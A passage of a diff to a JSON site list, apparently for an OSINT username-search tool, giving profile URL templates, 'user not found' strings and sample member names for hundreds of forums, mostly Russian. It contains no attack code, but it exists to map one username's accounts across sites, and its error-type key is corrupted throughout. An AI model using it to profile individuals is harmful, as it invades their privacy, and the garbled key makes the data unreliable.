"\\W", + "url": "https://orthodox.3dn.ru/index/8-0-{}", + "urlMain": "https://orthodox.3dn.ru", + "usernameON": "rob3k", + "bad_site": "" + }, + "Forum_oscraps": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://oscraps.com/community/members/?username={}", + "urlMain": "https://oscraps.com", + "usernameON": "prospurring", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_oslobodjenje": { + "country": "🇪🇺", + "country_klas": "EU", + "errorMsg": "Ništa nije pronađeno.", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.sport1.oslobodjenje.ba/memberlist.php?username={}", + "urlMain": "https://forum.sport1.oslobodjenje.ba", + "usernameON": "ARBET", + "bad_site": "" + }, + "Forum_ostrov": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ostrov.ucoz.net/index/8-0-{}", + "urlMain": "https://ostrov.ucoz.net", + "usernameON": "DENI30S", + "bad_site": "" + }, + "Forum_Oszone": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "http://forum.oszone.net/member.php?username={}", + "urlMain": "http://forum.oszone.net", + "usernameON": "adam", + "comments": "Oplata", + "bad_site": 1 + }, + "Forum_otelefonax": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://otelefonax.ucoz.ru/index/8-0-{}", + "urlMain": "https://otelefonax.ucoz.ru", + "usernameON": "Christophernot", + "bad_site": "" + }, + "Forum_otlichnica": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://otlichnica.ucoz.ru/index/8-0-{}", + "urlMain": "http://otlichnica.ucoz.ru/", + "usernameON": "iamlovergirl97", + "bad_site": "" + }, + "Forum_otpm": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://otpm.do.am/index/8-0-{}", + "urlMain": "https://otpm.do.am", + "usernameON": "ua4lor", + "bad_site": "" + }, + "Forum_otzyvby": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "не зарегистрирован", + "errorMsg2": "с вашего IP-адреса", + "errorTyp��": "message", + "url": "https://otzyv.ru/reguser.php?poisk={}", + "urlMain": "https://otzyv.ru", + "usernameON": "Elena31", + "bad_site": "" + }, + "Forum_ourbeagleworld": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ourbeagleworld.com/members/?username={}", + "urlMain": "https://www.ourbeagleworld.com", + "usernameON": "lovebeagles", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ourdjtalk": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://ourdjtalk.com/djs/?username={}", + "urlMain": "https://ourdjtalk.com", + "usernameON": "spincin", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ourflowers": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ourflowers.ucoz.ru/index/8-0-{}", + "urlMain": "https://ourflowers.ucoz.ru", + "usernameON": "kirikibus23", + "bad_site": "" + }, + "Forum_ourperevoz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ourperevoz.ucoz.ru/index/8-0-{}", + "urlMain": "https://ourperevoz.ucoz.ru", + "usernameON": "vilniy", + "bad_site": "" + }, + "Forum_ourtravels": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://ourtravels.ru/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sk=t&sd=d&sr=posts&st=0&ch=300&t=0&sid=d95024f932e887fccc0e58315bcd2b5d&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://ourtravels.ru/", + "usernameON": "Maria", + "bad_site": "" + }, + "Forum_outdoors911": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "not registered ", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.outdoors911.com/reports/member.php?username={}", + "urlMain": "https://www.montanaowners.com", + "usernameON": "Legend1958", + "bad_site": "" + }, + "Forum_outdoorsdirectory": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.outdoorsdirectory.com/members/?username={}", + "urlMain": "https://forums.outdoorsdirectory.com", + "usernameON": "leryt", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_outpostgallifrey": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://outpostgallifrey.com/members/?username={}", + "urlMain": "https://outpostgallifrey.com", + "usernameON": "rocco", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ovcharka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://ovcharka.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://ovcharka.kamrbb.ru", + "usernameON": "Tuadash", + "bad_site": "" + }, + "Forum_over50schat": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.over50schat.com/u/{}/summary", + "urlMain": "https://forum.over50schat.com", + "usernameON": "flowerpower", + "bad_site": "" + }, + "Forum_overclock": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.overclock.net/members/?username={}", + "urlMain": "https://www.overclock.net/", + "usernameON": "chipp", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_Overclockers": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.overclockers.ru/memberlist.php?username={}", + "urlMain": "https://forums.overclockers.ru", + "usernameON": "patisson", + "bad_site": "" + }, + "Forum_ovo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://ovo.ucoz.ru/index/8-0-{}", + "urlMain": "http://ovo.ucoz.ru/", + "usernameON": "Vitu", + "bad_site": "" + }, + "Forum_ovtsoft": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ovtsoft.3dn.ru/index/8-0-{}", + "urlMain": "https://ovtsoft.3dn.ru", + "usernameON": "mpg25music", + "bad_site": "" + }, + "Forum_paboma": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://paboma.ucoz.ru/index/8-0-{}", + "urlMain": "https://paboma.ucoz.ru", + "usernameON": "paboma", + "bad_site": "" + }, + "Forum_packer": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.packerforum.com/members/?username={}", + "urlMain": "https://www.packerforum.com", + "usernameON": "weeds", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pagohku": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pagohku.ucoz.ru/index/8-0-{}", + "urlMain": "https://pagohku.ucoz.ru", + "usernameON": "askutov123", + "bad_site": "" + }, + "Forum_paid-to-click": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://paid-to-click.ucoz.ru/index/8-0-{}", + "urlMain": "https://paid-to-click.ucoz.ru", + "usernameON": "%D0%A8%D1%80%D1%83%D1%81", + "bad_site": "" + }, + "Forum_palemoon": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Pale Moon forum - Information", + "errorTyp��": "message", + "url": "https://forum.palemoon.org/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.palemoon.org", + "usernameON": "Moonchild", + "comments": "super", + "bad_site": 1 + }, + "Forum_palomniki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "Ошибка", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://palomniki.su/forum/profile/user-8-0-{}", + "urlMain": "http://palomniki.su", + "usernameON": "rius", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_panda3d": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://panda3d.org.ru/index/8-0-{}", + "urlMain": "http://panda3d.org.ru", + "usernameON": "ninth", + "bad_site": "" + }, + "Forum_pandawow": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "ipsAreaBackground_light ipsType_center ipsPad", + "errorTyp��": "message", + "url": "https://forum.pandawow.me/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.pandawow.me", + "usernameON": "buka", + "bad_site": "" + }, + "Forum_panigalev4club": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.panigalev4club.com/members/?username={}", + "urlMain": "https://www.panigalev4club.com/", + "usernameON": "admin", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_Panzer35": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://panzer35.ru/index/8-0-{}", + "urlMain": "http://panzer35.ru", + "usernameON": "Loki", + "bad_site": "" + }, + "Forum_papillonomania": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://papilon-falen.my1.ru/index/8-0-{}", + "urlMain": "https://papilon-falen.my1.ru", + "usernameON": "Антонитт", + "bad_site": "" + }, + "Forum_paranormal-news": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "http://paranormal-news.ru/index/8-0-{}", + "urlMain": "http://paranormal-news.ru", + "usernameON": "aeroy", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_parasha": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://parasha.do.am/index/8-0-{}", + "urlMain": "https://parasha.do.am", + "usernameON": "maximumextreeme", + "bad_site": "" + }, + "Forum_parents41": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "Сделать сайт просто", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://parents41.ru/index/8-0-{}", + "urlMain": "http://parents41.ru", + "usernameON": "Astary", + "comments": "bad", + "bad_site": 1 + }, + "Forum_parikmaher": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Найдено: 0 результатов", + "errorMsg2": "Результатов поиска нет", + "errorTyp��": "message", + "url": "https://parikmaher.net.ru/search/?q={}&quick=1&type=core_members", + "urlMain": "https://parikmaher.net.ru", + "usernameON": "sveta9630", + "bad_site": "" + }, + "Forum_parrotpilots": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://parrotpilots.com/members/?username={}", + "urlMain": "https://parrotpilots.com", + "usernameON": "captainmavic", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_partsdr": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "not registered", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forum.partsdr.com/member.php?username={}", + "urlMain": "https://forum.partsdr.com", + "usernameON": "Smarsh", + "bad_site": "" + }, + "Forum_Partyanimals": { + "country": "🇸🇬", + "country_klas": "SG", + "errorTyp��": "status_code", + "url": "https://forum.partyanimals.com/u/{}", + "urlMain": "https://forum.partyanimals.com", + "usernameON": "HighJack", + "bad_site": "" + }, + "Forum_pascalgamedevelopment": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have a profile to view", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.pascalgamedevelopment.com/member.php?username={}", + "urlMain": "https://www.pascalgamedevelopment.com", + "usernameON": "hkhkqoo", + "bad_site": "" + }, + "Forum_paulsat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://paulsat.ucoz.ru/index/8-0-{}", + "urlMain": "https://paulsat.ucoz.ru", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_pavlovskyposad": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Павловский Посад.ру - Информация", + "errorTyp��": "message", + "url": "http://forum.pavlovskyposad.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.pavlovskyposad.ru", + "usernameON": "zandr", + "bad_site": "" + }, + "Forum_pbi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pbi.my1.ru/index/8-0-{}", + "urlMain": "https://pbi.my1.ru/", + "usernameON": "codeflare", + "bad_site": "" + }, + "Forum_pcformat": { + "country": "🇵🇱", + "country_klas": "PL", + "errorTyp��": "status_code", + "url": "https://forum.pcformat.pl/{}-u", + "urlMain": "https://forum.pcformat.pl", + "usernameON": "raxer", + "bad_site": 1 + }, + "Forum_pcreview": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.pcreview.co.uk/members/?username={}", + "urlMain": "https://www.pcreview.co.uk", + "usernameON": "floppybootstomp", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pedelecs": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.pedelecs.co.uk/forum/members/?username={}", + "urlMain": "https://www.pedelecs.co.uk", + "usernameON": "pedalfettal", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_peklama_3dn": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://peklama.3dn.ru/index/8-0-{}", + "urlMain": "https://peklama.3dn.ru", + "usernameON": "arman02151", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_pembrokcity": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://pembrokcity.borda.ru/?32-{}", + "urlMain": "https://pembrokcity.borda.ru", + "usernameON": "fata", + "bad_site": "" + }, + "Forum_peredovaj": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.mus-peredovaj.ru/index/8-0-{}", + "urlMain": "http://www.mus-peredovaj.ru", + "usernameON": "ivanovvv817", + "bad_site": "" + }, + "Forum_pereval1959": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://pereval1959.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://pereval1959.kamrbb.ru", + "usernameON": "%CF%EE%F7%E5%EC%F3%F7%EA%E0", + "bad_site": "" + }, + "Forum_perevodchik": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://perevodchik-s-s.do.am/index/8-0-{}", + "urlMain": "https://perevodchik-s-s.do.am", + "usernameON": "hvttalatathui11", + "comments": "cf", + "bad_site": "" + }, + "Forum_perfect": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://perfect.ucoz.de/index/8-0-{}", + "urlMain": "http://perfect.ucoz.de", + "usernameON": "RomaOppop", + "bad_site": "" + }, + "Forum_perfectweddings": { + "country": "🇸🇬", + "country_klas": "SG", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.perfectweddings.sg/weddingforum/members/?username={}", + "urlMain": "https://www.perfectweddings.sg", + "usernameON": "dipaa", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pes_soccer": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pes-files.ru/index/8-0-{}", + "urlMain": "https://pes-files.ru", + "usernameON": "Drobjij", + "bad_site": "" + }, + "Forum_pet-s": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pet-s.ucoz.ru/index/8-0-{}", + "urlMain": "https://pet-s.ucoz.ru/", + "usernameON": "katya1931", + "bad_site": "" + }, + "Forum_petgb": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.petforums.co.uk/members/?username={}", + "urlMain": "https://www.petforums.co.uk", + "usernameON": "peterjosy", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_petropavlovka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.petropavlovka.my1.ru/index/8-0-{}", + "urlMain": "https://www.petropavlovka.my1.ru/", + "usernameON": "Fire4ik", + "bad_site": "" + }, + "Forum_pf-v": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "одождите", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://pf-v.ru/search/?q={}&quick=1&type=core_members", + "urlMain": "https://pf-v.ru/", + "usernameON": "oxy", + "bad_site": "" + }, + "Forum_phantomhelp": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://forum.phantomhelp.com/u/{}/summary", + "urlMain": "https://forum.phantomhelp.com", + "usernameON": "bob32014", + "bad_site": "" + }, + "Forum_phantompilots": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://phantompilots.com/members/?username={}", + "urlMain": "https://phantompilots.com", + "usernameON": "steve12321", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_philippe-fournier": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forum2.philippe-fournier-viger.com/search.php?keywords=&terms=all&author={}=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forum2.philippe-fournier-viger.com", + "usernameON": "Alva&sc", + "bad_site": "" + }, + "Forum_philosophicalvegan": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://philosophicalvegan.com/search.php?keywords=&terms=all&author={}", + "urlMain": "https://philosophicalvegan.com", + "usernameON": "Hey", + "bad_site": "" + }, + "Forum_phoenixrising": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.phoenixrising.me/members/?username={}", + "urlMain": "https://forums.phoenixrising.me", + "usernameON": "pattismith", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_phoneamommy": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.phoneamommy.com/Board/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.phoneamommy.com", + "usernameON": "SitterStacie", + "bad_site": "" + }, + "Forum_photographyreview": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have a profile to view.", + "errorMsg2": "Sorry", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "http://forums.photographyreview.com/member.php?username={}", + "urlMain": "http://forums.photographyreview.com", + "usernameON": "Weskee32", + "bad_site": "" + }, + "Forum_photographytalk": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "div id=\"system-message\">", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.photographytalk.com/forum/search?searchuser={}&childforums=1", + "urlMain": "https://www.naturescapes.net", + "usernameON": "esseff", + "bad_site": "" + }, + "Forum_photos": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://photos.ucoz.ru/index/8-0-{}", + "urlMain": "https://photos.ucoz.ru", + "usernameON": "photos", + "bad_site": "" + }, + "Forum_photoshara": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://photoshara.ucoz.ru/index/8-0-{}", + "urlMain": "https://photoshara.ucoz.ru", + "usernameON": "hestilurte", + "bad_site": "" + }, + "Forum_phototerritory": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.phototerritory.ru/index/8-0-{}", + "urlMain": "http://www.phototerritory.ru", + "usernameON": "23a3sdasdasd322", + "bad_site": "" + }, + "Forum_phpbb_de": { + "country": "🇩🇪", + "country_klas": "DE", + "errorMsg": "Information", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.phpbb.de/community/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Suche", + "urlMain": "https://www.phpbb.de", + "usernameON": "db1982", + "comments": "super", + "bad_site": "" + }, + "Forum_phpfreaks": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.phpfreaks.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.phpfreaks.com", + "usernameON": "gizmola", + "bad_site": "" + }, + "Forum_physicianassistant": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.physicianassistantforum.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.physicianassistantforum.com", + "usernameON": "CAAdmission", + "comments": "cf", + "bad_site": "" + }, + "Forum_pickleberrypop": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://pickleberrypop.com/forum/members/?username={}", + "urlMain": "https://pickleberrypop.com", + "usernameON": "cathquillscrap", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pickup": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Найдено 0 результатов", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://forum.pickup.ru/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.pickup.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_pigeons": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.pigeons.biz/members/?username={}", + "urlMain": "https://www.pigeons.biz", + "usernameON": "utahraptor300", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pilotsofamerica": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.pilotsofamerica.com/community/members/?username={}", + "urlMain": "https://www.pilotsofamerica.com", + "usernameON": "wanttaja", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pinclub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pinclub.ucoz.ru/index/8-0-{}", + "urlMain": "https://pinclub.ucoz.ru", + "usernameON": "multatuli", + "bad_site": "" + }, + "Forum_pipca": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://pipca.6bb.ru/search.php?action=search&keywords=&author={}&forum=&search_in=0&sort_by=0&sort_dir=DESC&show_as=posts&search=%CE%F2%EF%F0%E0%E2%E8%F2%FC", + "urlMain": "https://pipca.6bb.ru", + "usernameON": "ola", + "bad_site": "" + }, + "Forum_pirate4x4": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.pirate4x4.com/members/?username={}", + "urlMain": "https://www.pirate4x4.com", + "usernameON": "jeepfan2022", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_piratehub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "url": "https://s1.piratehub.biz/members/?username={}", + "urlMain": "https://s1.piratehub.biz", + "usernameON": "timetobefirst", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_pirates": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://piratesforums.co/members/?username={}", + "urlMain": "https://piratesforums.co", + "usernameON": "sergey1337", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pirates-life": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://pirates-life.ru/index/8-0-{}", + "urlMain": "http://pirates-life.ru", + "usernameON": "alerg", + "comments": "bad", + "bad_site": "" + }, + "Forum_piratich": { + "country": "🇨🇿", + "country_klas": "CZ", + "errorMsg": "Nebyly nalezeny", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Sorry, ", + "errorTyp��": "message", + "url": 